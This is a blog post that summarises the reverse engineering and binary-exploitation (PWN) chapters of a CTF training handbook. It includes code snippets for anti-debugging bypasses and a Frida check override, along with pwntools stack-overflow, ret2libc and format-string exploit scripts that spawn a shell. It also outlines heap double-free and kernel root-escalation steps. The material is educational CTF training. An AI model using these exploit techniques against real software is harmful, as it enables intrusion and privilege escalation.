The training method behind a top Chinese CTF team: Part 3 reverse engineering and PWN

CTF · Part 3

A CTF finals competition hall

This is Part 3 of my walk through "Handbook for CTFers", the training book from Nu1L, one of China's strongest CTF teams. Part 1 was the overview and Part 2 covered web. This part covers the two categories the book treats as the core of the whole discipline: reverse engineering and PWN. The book says it plainly, reverse engineering is the foundation of PWN, and you cannot exploit a binary you cannot read.

Summary

Reverse engineering is reading a compiled program back into the algorithm it runs. PWN is finding a memory bug in that program and using it to take control. They are the hardest categories for a beginner because they need real fundamentals: assembly, how the stack and heap work, and how an operating system loads and runs code. The payoff is that these are the skills that find real vulnerabilities, not just CTF flags.

The book's advice here is blunt. Learn the fundamentals before the tricks. Exploitation techniques are a short list and easy to learn; the reason top players win is that they understand the machine underneath, so a new mitigation or an unfamiliar binary does not stop them. Below is the map the book builds, from reading a binary to taking over the kernel.

The territory

The book runs reverse engineering first, then PWN, because one feeds the other. Here is the whole map before the detail.

#TechniqueWhat it doesTools
1Static analysisReads the binary without running it, recovers the algorithmIDA Pro, Ghidra, objdump
2Dynamic analysisRuns the binary under a debugger, watches memory changeGDB, pwndbg, x64dbg
3Symbolic executionLets a solver find the input that reaches the targetangr
4Anti-debugging bypassDefeats checks that detect a debugger and quitLD_PRELOAD, ScyllaHide
5Obfuscation and VM protectionUnpacks packed code, reverses a custom bytecode VMx64dbg, deflat.py
6High-level languagesReverses Rust, Go, .NET and Python binariesdnSpy, uncompyle6, Go helpers
7Android APKDecompiles Dalvik, hooks running methodsjadx, JEB, Frida
8Stack overflowOverwrites the return address to redirect executionpwntools, GDB
9ROP and ret2libcChains existing code to beat a non-executable stackROPgadget, one_gadget
10Format stringReads and writes arbitrary memory through a printf bugpwntools
11Heap exploitationCorrupts the allocator to get an arbitrary writepwndbg, how2heap
12Kernel PWNEscalates to root by corrupting kernel memoryQEMU, GDB

Reverse engineering: reading the binary

Static analysis

Static analysis is reading the program without running it. You load the binary into IDA Pro or Ghidra, let it find functions, and read the decompiled C. The skill is mapping assembly back to intent: a compare and a conditional jump is an if, a counter and a backward jump is a loop, and a block of XOR against a fixed byte is a cheap cipher.

; a textbook license check: compare input against a constant, byte by byte
movzx   eax, byte [rbp+rax-0x20]   ; input[i]
xor     eax, 0x42                  ; decode with key 0x42
cmp     al, byte [rsi+rax]         ; against the expected table
jne     fail

The first job on any binary is the cheap one. Run strings and objdump before you open a decompiler, because a surprising number of challenges leave the key or a telling format string in plain sight.

strings -n 6 ./target          # readable strings, often leaks the flag format or a key
objdump -d -M intel ./target   # full disassembly, grep for cmp to find checks
file ./target                  # arch, 32 vs 64 bit, stripped or not

Dynamic analysis

When a value only exists at run time, you run the binary under a debugger and watch. GDB with the pwndbg plugin is the Linux standard; x64dbg does the same on Windows. You break at the comparison, read the expected value out of a register, and you have the answer without reversing the maths that produced it.

gdb ./target
pwndbg> b *main+120      # break at the compare
pwndbg> run
pwndbg> x/s $rsi         # read the expected string the program built
pwndbg> p/x $rax         # read a computed hash or key

This is often faster than static analysis. A key the program derives through a hundred lines of arithmetic is still just a value in a register at the moment it checks you, so you let the program compute it and read it off.

Symbolic execution with angr

When the check is a tangle of constraints with no obvious structure, you do not reverse it, you let a solver invert it. angr runs the binary with the input as symbolic variables, explores paths, and asks its constraint solver for an input that reaches the success block and avoids the failure block.

import angr
p = angr.Project("./target", auto_load_libs=False)
st = p.factory.entry_state()
sm = p.factory.simulation_manager(st)
sm.explore(find=0x401337, avoid=0x401300)   # win address, lose address
print(sm.found[0].posix.dumps(0))           # the input that wins

The book's worked case is baby-re from DEF CON 2016, twelve characters each checked by its own function, which angr solves in seconds. The warnings it gives also matter: set auto_load_libs=False, start from main instead of the entry point, and hook slow library functions, or the state space explodes.

Anti-debugging bypass

Many challenges detect a debugger and quit before you see anything. On Linux the common check is ptrace(PTRACE_TRACEME), which fails if a debugger is already attached. You defeat it by preloading your own ptrace that always returns zero.

// libbypass.c: compile with gcc -shared -fPIC -o libbypass.so libbypass.c
long ptrace(long request, ...) { return 0; }   // always "no debugger"
LD_PRELOAD=./libbypass.so gdb ./target    # the check now passes, debug freely

Windows binaries use IsDebuggerPresent, the PEB BeingDebugged flag, and timing checks with rdtsc. ScyllaHide hooks all of them at once and beats most commercial packers, which saves reversing each check by hand.

Obfuscation and VM protection

Harder binaries hide their logic. Packers like UPX compress the real code and unpack it at run time, so you unpack first (upx -d) or dump the process from memory once it has unpacked itself. Control-flow flattening shatters a function into blocks run by a dispatcher loop, which you undo by tracing the dispatcher's state variable.

The strongest protection is a virtual machine. The tool converts the real logic into bytecode for a custom instruction set and ships a small interpreter that runs it. There is no shortcut: you reverse the interpreter to recover the instruction set, then write a disassembler for the bytecode.

VM protection, the reversing order:
1. find the fetch-decode-execute loop (the dispatcher)
2. map each opcode handler to what it does (push, xor, cmp, jump)
3. dump the bytecode blob from .rodata
4. write a disassembler, read the program back, then solve it

The book's case is signal_vm_de1ta from De1CTF 2019, a VM driven through signals and ptrace, solved by writing a Python disassembler for the bytecode and recovering a dynamic-programming problem underneath.

High-level languages

Not everything is C. Rust and Go compile to native code but bury the real main under a large runtime and scatter telltale strings (main.rs, Go package paths), so you use helper scripts that restore function names before you read anything. C# and other .NET code is not native at all; it is bytecode, so you skip IDA and decompile it straight back to near-original source.

# Python bytecode back to source
uncompyle6 target.pyc > target.py
# .NET: open in dnSpy or ILSpy, read near-original C#, de4dot to unpack first
# Go: run IDAGolangHelper to rename thousands of stripped runtime functions

The lesson is to identify the language first. Minutes spent confirming a binary is Go or .NET save hours of reading runtime plumbing as if it were the program.

Android APK

Android challenges are reverse engineering in a different wrapper. An APK is a zip; inside it classes.dex holds the Dalvik bytecode. jadx decompiles that to readable Java, and JEB does the same with a debugger attached. When the logic is in a native .so library or hidden behind anti-debug, you hook it at run time with Frida.

// Frida: read what a check receives and force its result
Java.perform(function () {
  var C = Java.use("com.ctf.app.Checker");
  C.verify.implementation = function (input) {
    console.log("verify called with: " + input);
    return true;                 // bypass the check, or log and call the original
  };
});

The book's cases pair a Java-layer anti-debug trick with a native TracerPid check, which you bypass by patching the check and reading the real comparison. The pattern repeats: find the check, neutralise it, read the answer.

PWN: taking control of memory

Stack overflow

PWN starts where a program writes past the end of a stack buffer. Functions like gets and scanf("%s") take input with no length limit, so you overflow the buffer, past the saved frame pointer, and overwrite the return address. The simplest win is ret2win: a binary that already contains a function printing the flag, so you just point the return address at it.

from pwn import *
io = remote("host", 4444)
offset = 72                        # buffer size plus the saved frame pointer
payload = b"A" * offset + p64(0x401186)   # overwrite return address with win()
io.sendline(payload)
io.interactive()

When a stack canary guards the return address, you cannot just run over it. You leak it first, through a format bug or an over-read that prints one byte past the string, then write the real canary value back in place as you overflow.

ROP and ret2libc

A non-executable stack stops you from running shellcode you placed there, so you reuse code that already exists. Return-oriented programming chains tiny fragments that each end in ret, stringing them into the program you want. The usual target is system("/bin/sh") inside libc.

# round 1: leak a libc address by printing puts's real location, then return to main
rop = ROP(elf)
rop.raw(rop.find_gadget(["pop rdi", "ret"]))
rop.raw(elf.got["puts"]); rop.raw(elf.plt["puts"]); rop.raw(elf.sym["main"])
# compute libc base from the leak, then round 2:
libc.address = leaked_puts - libc.sym["puts"]
rop2 = ROP(libc)
rop2.system(next(libc.search(b"/bin/sh")))   # system("/bin/sh")

The two rounds matter because of ASLR. You cannot know libc's address in advance, so round one leaks it and round two uses the computed base. ROPgadget finds the fragments and one_gadget finds a single address in libc that spawns a shell outright.

Format string

If a program passes your input straight to printf as the format, you control memory. %p leaks stack slots, so you dump addresses and defeat ASLR. %n writes the number of bytes printed so far to an address on the stack, which is an arbitrary write once you place the target address yourself.

# leak: which stack slot holds a libc return address
io.sendline(b"%1$p.%2$p.%3$p.%4$p")
# write: overwrite puts@GOT with system, then the next puts("/bin/sh") is a shell
payload = fmtstr_payload(offset, {elf.got["puts"]: libc.sym["system"]})
io.sendline(payload)

The book's detail is the awkward case where your string is not directly on the stack. You find a chain of stack pointers, use the first to edit the second to point at the third, and write byte by byte through that indirection. It is fiddly, and pwntools' fmtstr_payload handles the arithmetic once you know your offset.

Heap exploitation

The heap is where PWN gets deep. glibc's allocator keeps freed chunks in linked lists called bins, and corrupting those lists turns a small bug into an arbitrary write. The classic is a fastbin double free: free the same chunk twice so it appears in the free list twice, then malloc hands it back to you while the allocator still thinks it is free.

double free into an arbitrary allocation:
1. free(A); free(B); free(A)      -> fastbin list is A -> B -> A
2. malloc returns A; overwrite its fd pointer with a target address
3. two more mallocs, and the next malloc returns your target address

Modern glibc made this easier, not harder. The tcache added in 2.26 has no size check and, until 2.29, no double-free check at all, so tcache poisoning (overwrite a freed chunk's next pointer) gives a near-direct arbitrary malloc. shellphish's how2heap is the canonical set of worked examples, and pwndbg shows the bin state as you go.

Kernel PWN

The top of the ladder is the kernel, where the goal is not a shell but root. You get a QEMU image with a vulnerable kernel module, find a bug such as a use-after-free, and use it to overwrite your own process's credential structure so your user id becomes zero.

babydriver (CISCN 2017), the use-after-free to root:
1. open the device twice, close one copy -> a dangling kernel pointer
2. allocate a cred struct (0xa8 bytes) into the freed slot via fork
3. the dangling pointer now overlaps cred; write 0 over uid and gid
4. the forked process is now root -> run a shell

Kernel PWN forces the fundamentals the book keeps returning to: how an allocator reuses slabs, how a process stores its privileges, how the kernel and user space share an address space. There is no trick that substitutes for knowing the machine.

Practice beats theory

1. Reverse engineering is the foundation. The book teaches reversing before PWN on purpose. You cannot exploit a bug you cannot see, and every PWN challenge starts by reading the binary to find the bug. Time spent getting comfortable in a decompiler pays off twice.

2. Fundamentals outlast tricks. Exploitation techniques are a short, learnable list. What separates top players is understanding assembly, the stack, the heap, and the operating system, so a new mitigation is an obstacle rather than a wall. Learn the machine, not just the moves.

3. CTF is training for the real thing. The book's last PWN section walks through a real vulnerability hunt in a game engine that took a month, against CTF's two days. The difference is patience and scale, not technique. The exploit philosophy and the reversing fundamentals are the same, which is why CTF trains the skill that matters: learning a new target fast.

Prepare for CTF with CyberLearner

Most of this is hands-on on CyberLearner for free, with binaries to break rather than slides to read.

  • Reverse engineering. BakiLock and XLock (strings and XOR keys), CFGMaze (opaque predicates), Sentry and ScriptBlind (ptrace anti-debug), Phantom (UPX packing), Chimera and ArcadeLock (custom VMs), RustVault (stripped Rust), BabelCore (WebAssembly), FieldAgent (Android APK), FirmBase (ARM firmware).
  • PWN. StackSmash (stack overflow to a win function), RetropWn (return-to-libc with a libc leak), BakuWind (format string to a GOT overwrite).

Browse the full set on the challenges page.

Next

Part 4 moves to cryptography: Part 4: cryptography.

Sources


TopicsCTFReverse engineeringPWNBinary exploitationangr
Share this article LinkedIn X Facebook Email
← Back to all posts